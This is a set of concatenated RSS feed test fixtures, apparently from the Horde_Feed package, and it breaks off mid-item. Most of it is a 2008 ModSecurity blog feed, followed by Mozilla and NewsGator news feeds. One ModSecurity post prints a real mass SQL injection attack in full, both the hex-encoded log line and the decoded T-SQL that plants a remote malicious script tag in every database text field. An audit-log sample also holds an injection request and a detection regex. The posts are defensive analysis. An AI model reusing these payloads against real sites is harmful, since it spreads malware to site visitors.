      Since a majority of web attacks are automated, odds are that the application that is sending the exploit payload is not actually a browser but rather some sort of scripting client. This would mean that the javascript/java code would not actually execute.

      Conclusion

      Hopefully you can now see the potential power of the content injection capability in ModSecurity. The goal of this post was to get you thinking about the possibilities. For other ideas on the interesting types of javascript that we could inject, check out PDP's AttackAPI Atom database. ModSecurity will eventually expand this functionality to allow for injecting content at specific locations of a response body instead of just at the beginnin or at the end.

      ]]>       http://www.modsecurity.org/blog/archives/2008/01/content_injecti.html http://www.modsecurity.org/blog/archives/2008/01/content_injecti.html ModSecurity Fri, 25 Jan 2008 22:59:15 +0000       Yes, the Tide for Web Application Firewalls is Turning Some time ago I decided to start a new blog, a place where I would be able to address the topics that are not ModSecurity specific. I felt the ModSecurity Blog has its purpose and a happy audience; I didn't want for it to lose the focus. Today I made my first proper post at this new blog:

      "There is a long-running tradition in the web application firewall space; every year we say: "This year is going to be the one when web application firewalls take off!" So far, every year turned out to be a bit of a disappointment in this respect. This year feels different, and I am not saying this because it's a tradition to do so. Recent months have seen a steady and significant rise in the interest in and the recognition of web application firewalls. But why is it taking so long?

      To read more please continue to "Tide is turning for web application firewalls".

      ]]>       http://www.modsecurity.org/blog/archives/2008/01/yes_the_tide_fo.html http://www.modsecurity.org/blog/archives/2008/01/yes_the_tide_fo.html Web Security Tue, 22 Jan 2008 10:45:33 +0000       ModSecurity Data Formats I have just added a new section to the ModSecurity v2.5 Reference Manual, describing the data formats we use. Nothing spectacular, I know, but it is always nice when things get written down.

      Alerts

      Below is an example of a ModSecurity alert entry. It is always contained on a single line but we've broken it here into multiple lines for readability.

      Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
against "REQUEST_PROTOCOL" required. [id "960034"] [msg "HTTP protocol version
is not allowed by policy"] [severity "CRITICAL"] [uri "/"] [unique_id
"PQaTTVBEUOkAAFwKXrYAAAAM"]

      Each alert entry begins with the engine message:

      Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
against "REQUEST_PROTOCOL" required.

      The engine message consists of two parts. The first part tells you whether ModSecurity acted to interrupt transaction or rule processing. If it did nothing the first part of the message will simply say "Warning". If an action was taken then one of the following messages will be used:

      • Access denied with code %0 - a response with status code %0 was sent.
      • Access denied with connection close - connection was abruptly closed.
      • Access denied with redirection to %0 using status %1 - a redirection to URI %0 was issued using status %1.
      • Access allowed - rule engine stopped processing rules (transaction was unaffected).
      • Access to phase allowed - rule engine stopped processing rules in the current phase only. Subsequent phases will be processed normally. Transaction was not affected by this rule but it may be affected by any of the rules in the subsequent phase.
      • Access to request allowed - rule engine stopped processing rules in the current phase. Phases prior to request execution in the backend (currently phases 1 and 2) will not be processed. The response phases (currently phases 3 and 4) and others (currently phase 5) will be processed as normal. Transaction was not affected by this rule but it may be affected by any of the rules in the subsequent phase.

      The second part of the engine message explains why the event was generated. Since it is automatically generated from the rules it will be very technical in nature talking about operators and their parameters and give you insight into what the rule looked like. But this message cannot give you insight into the reasoning behind the rule. A well-written rule will always specify a human-readable message (using the msg action) to provide further clarification.
      The metadata fields are always placed at the end of the alert entry. Each metadata field is a text fragment that consists of an open bracket followed by the metadata field name, followed by the value and the closing bracket. What follows is the text fragment that makes up the id metadata field.

      [id "960034"]

      The following metadata fields are currently used:

      1. id - Unique rule ID, as specified by the id action.
      2. rev - Rule revision, as specified by the rev action.
      3. msg - Human-readable message, as specified by the msg action.
      4. severity - Event severity, as specified by the severity action.
      5. unique_id - Unique event ID, generated automatically.
      6. uri - Request URI.
      7. logdata - contains transaction data fragment, as specified by the logdata action.

      Alerts in Apache

      Every ModSecurity alert conforms to the following format when it appears in the Apache error log:

      [Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1] ModSecurity: ALERT_MESSAGE

      The above is a standard Apache error log format. The "ModSecurity:" prefix is specific to ModSecurity. It is used to allow quick identification of ModSecurity alert messages when they appear in the same file next to other Apache messages.
      The actual message (ALERT_MESSAGE in the example above) is in the same format as described in the Alerts section.

      Alerts in Audit Log

      Alerts are transported in the H section of the ModSecurity Audit Log. Alerts will appear each on a separate line and in the order they were generated by ModSecurity. Each line will be in the following format:

      Message: ALERT_MESSAGE

      Below is an example of an entire H section (followed by the Z section terminator):

      --c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"]
 [msg "Request Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
 ?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
 (?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
 [msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x
  
--c7036611-Z--

      Audit Log

      ModSecurity records one transaction in a single audit log file. Below is an example:

      --c7036611-A--
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995 80.68.80.233 80
--c7036611-B--
GET //EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,char(77),
 password,char(77),email_address,char(77),info,char(77),user_level,char(77))/**/from
 /**/eb_members/**/where/**/userid=1/*http://kamloopstutor.com/images/banners/on.txt?
 HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.example.com
User-Agent: libwww-perl/5.808
  
--c7036611-F--
HTTP/1.1 404 Not Found
Content-Length: 223
Connection: close
Content-Type: text/html; charset=iso-8859-1
  
--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"]
 [msg "Request Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
 ?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
 (?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
 [msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
Apache-Error: [file "/tmp/buildd/apache2-2.x.x/build-tree/apache2/server/core.c"] [line 3505] [level 3]
 File does not exist: /var/www/EvilBoard_0.1a
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x
  
--c7036611-Z--

      The file consist of multiple sections, each in different format. Separators are used to define sections:

      --c7036611-A--

      A separator always begins on a new line and conforms to the following format:

      1. Two dashes at the beginning.
      2. Unique boundary, which consists from several hexadecimal characters.
      3. One dash character.
      4. Section identifier, currently a single uppercase letter.
      5. Two trailing dashes at the end.

      Refer to the documentation for SecAuditLogParts for the explanation of each part.

      ]]>       http://www.modsecurity.org/blog/archives/2008/01/modsecurity_dat.html http://www.modsecurity.org/blog/archives/2008/01/modsecurity_dat.html ModSecurity Thu, 10 Jan 2008 13:03:17 +0000       SQL Injection Attack Infects Thousands of Websites Here is a snippet from the just released SANS NewsBites letter:

      "TOP OF THE NEWS --SQL Injection Attack Infects Thousands of Websites (January 7 & 8, 2008) At least 70,000 websites have fallen prey to an automated SQL injection attack that exploits several vulnerabilities, including the Microsoft Data Access Components (MDAC) flaw that Microsoft patched in April 2006. Users have been redirected to another domain [u c 8 0 1 0 . c o m], that attempted to infect users' computers with keystroke loggers. Many of the sites have since been scrubbed. The attack is similar to one launched last year against the Miami Dolphins' Stadium website just prior to the Super Bowl."

      Additional coverage is available from several places:

      So, there is a new, nasty bot on the loose that is targeting websites that use IIS/MS-SQL DB. It is exploiting non-specific SQL Injection vulnerabilities that exist in websites to inject malicious JavaScript into all fields. Once it gets the victims to the web site it will try and exploit various known browser and plugin vulnerabilities. Essentially, the attack inserts <script src=http://?.uc8010.com/0.js></script> into all varchar and text fields in your SQL database.

      While there has been much focus on the goal of the attack -- which is to try and exploit some browser (client) vulnerabilities to perhaps install some trojans or other malware -- not as much attention has been paid to actual attack vector that lead to the compromise: the SQL injection attack itself.

      Here is an example IIS log entry of the SQL Injection attack that was posted to a user forum:

      2007-12-30 18:22:46 POST /crappyoutsourcedCMS.asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST
(04400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C0040004300200076006100720063006800610072002800320035003500290020004400450043004C004100520045002
0005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002
000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006
F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006
E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E0064002
00061002E00780074007900700065003D00270075002700200061006E0064002000280062002E0078007400790070006
5003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E007
80074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100360037002
90020004F00500045004E0020005400610062006C0065005F0043007500720073006F007200200046004500540043004
80020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007
200200049004E0054004F002000400054002C004000430020005700480049004C0045002800400040004600450054004
30048005F005300540041005400550053003D0030002900200042004500470049004E002000650078006500630028002
70075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B004
00043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006
800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C007300630072006900700074002
0007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002
F0030002E006A0073003E003C002F007300630072006900700074003E002700270027002900460045005400430048002
0004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F0072002
00049004E0054004F002000400054002C0040004300200045004E004400200043004C004F00530045002000540061006
2006C0065005F0043007500720073006F00720020004400450041004C004C004F0043004100540045002000540061006
2006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);|178|80040e14|
Unclosed_quotation_mark_before_the_character_string_G;DECLARE_@S_NVARCHAR(4000);SET_@S=CAST
(04400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C00400043002000′. - 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library)
 - 500 15248

      If you decode the CAST values, here is the actual SQL that is being injected:

      DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name 
from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 
or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+'
]))+''<script src=http://c.uc8010.com/0.js></script>''')FETCH NEXT FROM  
Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T 
varchar(255),@C

      Mitigation Options

      There are many remediation steps that can and should be taken.

      Immediate Fix: Use ModSecurity and the Core Rules

      If these web sites were front-ended by an Apache reverse proxy server (with ModSecurity and the Core Rules) then the back-end IIS/MS SQL application servers would have been protected against this attack. The free Core Rules, which are available for download from the the ModSecurity web site, include SQL injection rules that would have identified and blocked this specific automated attack. Specifically, Rule ID 950001 in the modsecurity_crs_40_generic_attacks.conf file would have triggered on the "cast(" portion of the SQL injection string.

      Mid-Term/Long-Term Fix: Correct the Code

      Web Developers should identify and correct any Input Validation errors in their code.

      ]]>       http://www.modsecurity.org/blog/archives/2008/01/sql_injection_a.html http://www.modsecurity.org/blog/archives/2008/01/sql_injection_a.html Web Security Tue, 08 Jan 2008 22:51:58 +0000       Speaking About ModSecurity at ApacheCon Europe 2008 I will be speaking about ModSecurity at ApacheCon Europe in Amsterdam later this year. I hear ApacheCon Europe 2007 (also in Amsterdam) was great so I am looking forward to participating this year. Interestingly, for some reason or another, this will be the first time ModSecurity will be "officially" presented to the Apache crowd, in spite of the fact we've been going at it for years. As always, the best part is meeting the people you've been communicating with for years.

      "Intrusion detection is a well-known network security technique -- it introduces monitoring and correlation devices to networks, enabling administrators to monitor events and detect attacks and anomalies in real-time. Web intrusion detection does the same but it works on the HTTP level, making it suitable to deal with security issues in web applications. This session will start with an overview of web intrusion detection and web application firewalls, discussing where they belong in the overall protection strategy. The second part of the talk will discuss ModSecurity and its capabilities. ModSecurity is an open source web application firewall that can be deployed either embedded (in the Apache HTTP server) or as a network gateway (as part of a reverse proxy deployment). Now in its fifth year of development, ModSecurity is mature, robust and flexible. Due to its popularity and wide usage it is now positioned as a de-facto standard in the web intrusion detection space."

      ]]>       http://www.modsecurity.org/blog/archives/2008/01/speaking_about.html http://www.modsecurity.org/blog/archives/2008/01/speaking_about.html ModSecurity Tue, 08 Jan 2008 13:09:47 +0000       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.mozilla.org-news.rdf0000664000175000017500000001156212653701626025523 0ustar janjan Mozilla Dot Org the mozilla.org website http://www.mozilla.org/news.html Mozilla Project Celebrates Ten Years http://www.mozilla.org/news.html#p435 2008-03-31 Mozilla Foundation announces Directed Giving program http://www.mozilla.org/news.html#p434 2007-11-26 Mozilla Launches Internet Mail and Communications Initiative http://www.mozilla.org/news.html#p433 2007-09-17 Calendar Project Releases Lightning and Sunbird 0.5 http://www.mozilla.org/news.html#p432 2007-06-27 Mozilla Foundation initiates search for Executive Director http://www.mozilla.org/news.html#p431 2007-05-23 Mozilla Releases Thunderbird 2 http://www.mozilla.org/news.html#p430 2007-04-18 Thunderbird 2 Release Candidate 1 Released http://www.mozilla.org/news.html#p429 2007-04-06 Mozilla and eBay Working Together to Make the Auction Experience Easier for Firefox Users in France, Germany and the UK http://www.mozilla.org/news.html#p428 2007-03-28 Firefox 2.0.0.3 and Firefox 1.5.0.11 Security and Stability Update http://www.mozilla.org/news.html#p427 2007-03-20 Firefox Community Beta Program http://www.mozilla.org/news.html#p426 2007-03-15 Firefox 2.0.0.2 and Firefox 1.5.0.10 Security and Stability Update http://www.mozilla.org/news.html#p425 2007-02-23 Thunderbird 2 Beta 2 Released http://www.mozilla.org/news.html#p424 2007-01-23 Firefox 1.5.0.9, Firefox 2.0.0.1, and Thunderbird 1.5.0.9 Updates Available http://www.mozilla.org/news.html#p423 2006-12-19 Thunderbird 2 Beta 1 Released http://www.mozilla.org/news.html#p422 2006-12-12 SeaMonkey 1.0.6 and SeaMonkey 1.1 Beta Released http://www.mozilla.org/news.html#p421 2006-11-08 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.mozillazine.org-contents.rdf0000664000175000017500000000572212653701626027273 0ustar janjan mozillaZine http://www.mozillazine.org/ en Your source for daily Mozilla news, advocacy, interviews, builds, and more! Copyright 1998-2006, MozillaZine webmaster@mozillazine.org webmaster@mozillazine.org Sat, 19 Jul 2008 16:26:17 +0000 MozillaZine http://www.mozillazine.org/image/mynetscape88.gif Your source for daily Mozilla news, advocacy, interviews, builds, and more! http://www.mozillazine.org/ Mozilla Firefox 3.0.1 Released http://www.mozillazine.org/talkback.html?article=24603 Mozilla Firefox 2.0.0.16 Released http://www.mozillazine.org/talkback.html?article=24602 Mozilla Firefox 3 Download Day Sets Official Guinness World Record http://www.mozillazine.org/talkback.html?article=24601 Microsoft Internet Explorer Team Sends New Cake for Mozilla Firefox 3 Launch http://www.mozillazine.org/talkback.html?article=24004 Over 8,000,000 Mozilla Firefox 3 Downloads in 24 Hours http://www.mozillazine.org/talkback.html?article=24003 Mozilla Firefox 3 Released http://www.mozillazine.org/talkback.html?article=23974 Under-the-Hood Mac OS X Mozilla Firefox 3 Improvements Detailed http://www.mozillazine.org/talkback.html?article=23962 Field Guide to Mozilla Firefox 3 Details New and Improved Features http://www.mozillazine.org/talkback.html?article=23936 Mozilla Firefox 3 Release Date Announced for Tuesday 17th June http://www.mozillazine.org/talkback.html?article=23871 Mozilla Firefox 3 Release Candidate 3 Works Around Mac OS X Bug http://www.mozillazine.org/talkback.html?article=23813 Screencast Introduces New Mozilla Firefox 3 Features http://www.mozillazine.org/talkback.html?article=23728 Mozilla aims for Guinness World Record http://www.mozillazine.org/talkback.html?article=23721 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.newsgator.com-news-rss.aspx0000664000175000017500000020571412653701626027065 0ustar janjanNewsGator News and Updateshttp://www.newsgator.comNewsGator News and UpdatesCopyright (c) 2003-2004 NewsGator Technologiessupport@newsgator.comsupport@newsgator.comTue, 22 Jul 2008 13:53:41 GMT60NEWSGATOR & GIGYA PARTNER TO BRING NEW CONTENT SYNDICATION AND DISTRIBUTION CAPABILITIES TO MEDIA COMPANIEShttp://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=164<P><EM><FONT face=Arial size=2>Combined Solution Provides Companies With Access to the Industry’s Largest Database of Public RSS Content & the Leading Distribution & Tracking Technology</FONT></EM></P> <P><FONT face=Arial><FONT size=2><STRONG>Palo Alto, CA – July 22, 2008 </STRONG>- NewsGator Technologies and Gigya, the largest widget distribution network, today announced a partnership to bring new capabilities to media companies looking to grow both the audience and revenue for their content. With this partnership, NewsGator will integrate Gigya’s Wildfire distribution and tracking technology into its industry leading syndication network. The combined offer will provide media clients with a streamlined process for content syndication, the ability to distribute content to audiences on more than 50 platforms, and sophisticated tracking that details where content is being consumed. </FONT></FONT></P> <P><FONT face=Arial size=2>“We are excited to work with Gigya to implement their Wildfire technology,” said Jeff Nolan, VP of Consumer and Media Services with NewsGator. “By partnering with Gigya, we enable our top tier media clients to distribute their content to audiences on top social networks, blog platforms, and desktop platforms – and as their audience grows the opportunity for advertising revenue also grows. Together, we will up the ante for widget and social application strategies deployed by mainstream media sites and advertisers.”</FONT></P> <P><FONT face=Arial size=2>Major media companies around the world are turning to NewsGator Widget Services to simplify the syndication of content. With NewsGator’s syndication network, media companies have access to the industry’s largest database of public RSS content. The network has an archive of over 2.1 billion individual content items and more than 7 million posts are added daily.  NewsGator’s network simplifies content syndication by enabling media companies to integrate publicly available content for an enhanced user experience. With easy access to third party content, media firms can offer audiences far more compelling and comprehensive news and information which drives repeat visits, increases site interaction time, and improves web monetization. NewsGator’s hosted content management application provides widget creators with advanced tools for managing streaming content in widgets, and now with Wildfire the best in class sharing and tracking tools that enhance viral adoption of widget content. </FONT></P> <P><FONT face=Arial size=2>Gigya’s technologies have become the industry standard for distributing and tracking content on the social web, reaching 142 Million unique widget users worldwide in May 2008 according to comScore. More than one thousand media companies, advertisers, and widget platforms are currently using Gigya’s tools and technologies to grow the audience for, and engagement with, their content.  <BR></FONT><FONT face=Arial size=2></FONT></P> <P><FONT face=Arial size=2>“NewsGator’s extensive syndication network and Gigya’s Wildfire technology provide media companies with a new syndication model that expands their access to content and helps them reach new audiences in social spaces,” said Rooly Eliezerov, President and Co-Founder of Gigya. “As the largest widget distribution network in the world, we are delighted that NewsGator has selected our Wildfire technology and we look forward to a long-term partnership developing new widget business models for our clients.”</FONT></P> <P><FONT face=Arial size=2><STRONG>About NewsGator Technologies, Inc.</STRONG><BR>NewsGator Technologies helps enterprises and media companies leverage social computing solutions to deliver real business value. The company’s enterprise social networking and widget services are in use by hundreds of the world’s most recognized brands, including Bank of America, Biogen Idec, CBS, CNN, Discovery, National Geographic, Procter & Gamble and USA Today. NewsGator Social Sites and Enterprise Server give enterprises better ways to collaborate, share content, expand employee knowledge and improve productivity. NewsGator Widget Services enable media and brand companies to better engage their audiences and extend the value of their brands through viral syndication of content. NewsGator also offers free, award-winning RSS aggregators for the Web, desktop, mobile devices and e-mail clients. For more information, visit </FONT><A href="http://www.newsgator.com"><FONT face=Arial size=2>www.newsgator.com</FONT></A><FONT face=Arial size=2>.<BR></FONT></P> <P><FONT face=Arial size=2><STRONG>About Gigya<BR></STRONG>Gigya is the leading widget and social technologies company, serving brand advertisers, media companies, and widget developers. Gigya’s content sharing and advertising platform helps publishers and advertisers increase reach and engagement, distributing widgets to any platform and providing both user social graphs and powerful social features to any website. Gigya serves the world's largest brands with a full-service widget advertising model covering design, development, hosting, distribution, viral promotion, tracking and optimization.  Gigya's Wildfire technology installs hundreds of thousands of widgets per day and tracks billions of impressions per month. Gigya’s partners include EyeWonder, DoubleClick, Eyeblaster, Electronic Arts, RockYou!, Webshots, Snapvine and many others. To learn more or to get started, go to: </FONT><A href="http://www.gigya.com"><FONT face=Arial size=2>www.gigya.com</FONT></A><FONT face=Arial size=2>.</FONT></P> <P><FONT face=Arial size=2>Gigya Media Contacts: <BR>Richard L. Tso    <BR>Gigya, Inc.    <BR>650/353-7246    <BR></FONT><A href="mailto:richard@gigya-inc.com"><FONT face=Arial size=2>richard@gigya-inc.com</FONT></A></P> <P><FONT face=Arial size=2>Dan Gould   <BR>SHIFT Communications   <BR>415/412-1068    <BR></FONT><A href="mailto:dgould@shiftcomm.com"><FONT face=Arial size=2>dgould@shiftcomm.com</FONT></A><FONT face=Arial size=2> </FONT></P> <P><FONT face=Arial size=2>NewsGator Media Contacts: <BR>Laura Farrelly<BR>NewsGator<BR>303/552-2046<BR>lauraf(at)newsgator(dot)com</FONT></P> <P><FONT face=Arial size=2>Jennifer Gazin or Zoe Vandeveer<BR>LaunchSquad<BR>415/625-8555<BR>Newsgator(at)launchsquad(dot)com<BR></FONT></P>http://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=164Tue, 22 Jul 2008 13:53:41 GMTNewsGator Announces Native NetNewsWire Application for iPhone on Apple App Storehttp://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=163<P><FONT face=Arial size=2><EM>New Free Mobile RSS Reader Syncs with NewsGator’s Full Suite of Products for Easy, On-the-Go Access</EM></FONT></P> <P><FONT face=Arial size=2><STRONG>Denver, Colo. — July 10, 2008</STRONG> — NewsGator Technologies Inc. today announced the availability of NetNewsWire for iPhone and iPod touch, a free native application based on the market-leading, critically-acclaimed RSS feed reader for Mac. NetNewsWire for iPhone will sync with NewsGator’s suite of RSS readers, including NetNewsWire for Macintosh, FeedDemon, Inbox, and NewsGator Online - providing users a lightweight, easy application to keep up with feeds on the go.</FONT></P> <P><FONT face=Arial size=2>The application is extremely easy-to-use and features a simple, clear user interface that complements the iPhone and iPod touch experience. NetNewsWire for iPhone makes it easy for users to cycle through all their news by using the “Next Unread” button, which goes from story to story with a quick tap of a single button. Users can also save items to read or blog about later via clipping, and saved items also sync with the desktop and browser-based RSS readers.</FONT></P> <P><FONT face=Arial size=2>“With NetNewsWire for iPhone, we wanted to create a reading experience that goes hand-in-hand with the iPhone’s intuitive ease-of-use,” said Brent Simmons, creator of the NetNewsWire family of products. “People are increasingly realizing that RSS is the fastest, most efficient way to read their favorite news and blogs from wherever they are. The popularity of the iPhone and iPod touch makes it the perfect platform to create an outstanding mobile application that can become a part of people’s everyday experience.”</FONT></P> <P><FONT face=Arial size=2>NetNewsWire for iPhone is  available for free beginning today from Apple’s App Store on iPhone and iPod touch or at </FONT><A href="http://www.itunes.com/appstore/"><FONT face=Arial size=2>www.itunes.com/appstore/</FONT></A></P> <P><FONT face=Arial size=2><STRONG>About NewsGator Technologies, Inc.</STRONG><BR>NewsGator Technologies helps enterprises and media companies leverage social computing solutions to deliver real business value. The company’s enterprise social networking and widget services are in use by hundreds of the world’s most recognized brands, including Bank of America, Biogen Idec, CBS, CNN, Discovery, National Geographic, Procter & Gamble and USA Today. NewsGator Social Sites and Enterprise Server give enterprises better ways to collaborate, share content, expand employee knowledge and improve productivity. NewsGator Widget Services enable media and brand companies to better engage their audiences and extend the value of their brands through viral syndication of content. NewsGator also offers free, award-winning RSS aggregators for the Web, desktop, mobile devices and e-mail clients. For more information, visit </FONT><A href="http://www.newsgator.com"><FONT face=Arial size=2>www.newsgator.com</FONT></A></P> <P><FONT face=Arial size=2>Contact Information<BR>Laura Farrelly<BR>NewsGator<BR>303-552-2046<BR>lauraf(at)newsgator(dot)com</FONT></P> <P><FONT face=Arial size=2>Corey Lewis or Zoe Vandeveer<BR>LaunchSquad<BR>415.625.8555<BR>newsgator(at)launchsquad(dot)com</FONT></P>http://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=163Thu, 10 Jul 2008 16:01:04 GMTAgence France-Presse and NewsGator Partner to Offer Media Companies Free, Co-Branded Sports Widgetshttp://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=162<FONT size=3> <P align=center><EM><FONT face=Arial size=2>Olympics Widgets Provide Media Companies With Advertising Revenue & Complimentary Premium Content</FONT></EM></P> <P><FONT face=Arial><FONT size=2><STRONG>Denver, Colo. — July 9, 2008 — </STRONG>NewsGator Technologies Inc. today announced a partnership with Agence France-Presse (AFP) to provide widgets featuring Olympics news and event coverage to media sites at no charge. With this program, media companies receive complimentary access to premium AFP content prepackaged in branded and engaging widgets that they can add to their Web site. The Olympics widgets are supported by advertising and approved distribution partners are eligible to receive a portion of the advertising revenue generated by the widgets. </FONT></FONT></P> <P><FONT face=Arial size=2>NewsGator-hosted AFP widgets feature popular Olympics content including a countdown to the Games, event news and results, sports animations, videos, photos, quizzes and more. Each widget includes the media company’s logo and links to Olympics-related articles and content. The Olympic content is provided by AFP and actually resides on the media company’s Web site. A media company simply places the widgets on their site. Readers can then view the widgets and port them to their favorite Web location. Every time a reader clicks on one of the widget links they are directed back to the media company’s Web site where the full content is displayed on Web pages that can be monetized with ads.</FONT></P> <P></FONT><FONT face=Arial size=2>The Olympics widgets are available free-of-charge and there are no maintenance or resource requirements. Interested third parties simply visit NewsGator’s </FONT><A href="http://www.newsgatorwidgets.com/Campaigns/Olympics.aspx"><U><FONT color=#0000ff><FONT face=Arial size=2>Web site</FONT></U></FONT></A><FONT face=Arial size=2> to provide their logo and Web site information*.</FONT></P> <P><FONT face=Arial size=2>"With NewsGator’s innovative syndication model, we are extending our brand and content not only to social networking sites but also to major media sites," said Gilles Tarot, sales & marketing director for AFP North America. "The result is significantly greater exposure and increased online ad revenue for our media partners."</FONT></P> <P><FONT face=Arial size=2>"AFP is offering media companies a truly unique opportunity with access to premium content that is in high demand," said Jeff Nolan, vice president, NewsGator Consumer and Media Services. "According to Sports Marketing Surveys, 203 million people in North America alone watched the 2004 Athens Games and significant growth in viewership is expected for the 2008 Beijing Games. We are helping our distribution partners generate revenue off this program and that’s a big deal for media companies - premium content in a widget package that features their own branding and we guarantee they generate revenue."</FONT></P> <P><FONT face=Arial size=2>NewsGator’s syndication and data services offerings help media companies, content publishers and advertisers engage audiences through the use of social media and Web 2.0 technologies. NewsGator's Web 2.0 syndication products, including personalized RSS readers, Widget Framework and Widget Ads, give companies the tools they need to enable their audiences to create, subscribe and interact with the most relevant content while staying within the company's brand. For more information, visit </FONT><A href="http://www.newsgatorwidgets.com/"><U><FONT color=#0000ff><FONT face=Arial size=2>www.NewsGatorWidgets.com</FONT></U></FONT></A><FONT face=Arial size=2>. </FONT></P> <P><FONT face=Arial size=2>*Please note: This campaign is available for United States and Canadian-based companies only and participation is subject to approval by AFP and NewsGator.</FONT></P><B> <P><FONT face=Arial size=2>About NewsGator Technologies, Inc.</FONT></P></B> <P><FONT face=Arial size=2>NewsGator Technologies helps enterprises and media companies leverage social computing solutions to deliver real business value. The company’s enterprise social networking and widget services are in use by hundreds of the world’s most recognized brands, including Bank of America, Biogen Idec, CBS, CNN, Discovery, National Geographic, Procter & Gamble and USA Today. NewsGator Social Sites and Enterprise Server give enterprises better ways to collaborate, share content, expand employee knowledge and improve productivity. NewsGator Widget Services enable media and brand companies to better engage their audiences and extend the value of their brands through viral syndication of content. NewsGator also offers free, award-winning RSS aggregators for the Web, desktop, mobile devices and e-mail clients. For more information, visit </FONT><A href="http://www.newsgator.com/"><U><FONT color=#0000ff><FONT face=Arial size=2>www.newsgator.com</FONT></U></FONT></A>.</P><B> <P><FONT face=Arial size=2>About Agence France-Presse (AFP)</FONT></P></B> <P><FONT face=Arial size=2>AFP is a global news agency, delivering fast, accurate, in-depth coverage of the events shaping our world from wars and conflicts to politics, sports, entertainment and the latest breakthroughs in health, science and technology. With 2,900 staff and stringers spread across 165 countries, AFP covers the world 24 hours a day in six languages, delivering the news in video, text, photographs, multimedia and graphics. For more information about AFP, please go to </FONT><A href="http://www.afp.com/"><U><FONT color=#0000ff><FONT face=Arial size=2>www.afp.com</FONT></U></FONT></A><FONT size=3><FONT face=Arial size=2>.</FONT></P><B> <P><FONT face=Arial size=2>Contact Information</FONT></P></B> <P><FONT face=Arial size=2>Laura Farrelly</FONT></P> <P><FONT face=Arial size=2>NewsGator</FONT></P> <P><FONT face=Arial size=2>303-552-2046</FONT></P> <P><FONT face=Arial size=2>lauraf(at)newsgator(dot)com</FONT></P> <P><FONT face=Arial size=2>Jennifer Gazin or Zoe Vandeveer</FONT></P> <P><FONT face=Arial size=2>LaunchSquad</FONT></P> <P><FONT face=Arial size=2>415.625.8555</FONT></P> <P><FONT face=Arial size=2>newsgator(at)launchsquad(dot)com </FONT></P></FONT><FONT face=Arial size=2></FONT>http://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=162Wed, 09 Jul 2008 12:55:46 GMTNewsGator Announces Widget Partnership with DAC, Japan's Leading Online Advertising Solutions Providerhttp://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=161<FONT size=3> <P></FONT><STRONG><FONT face=Arial size=2>Denver, 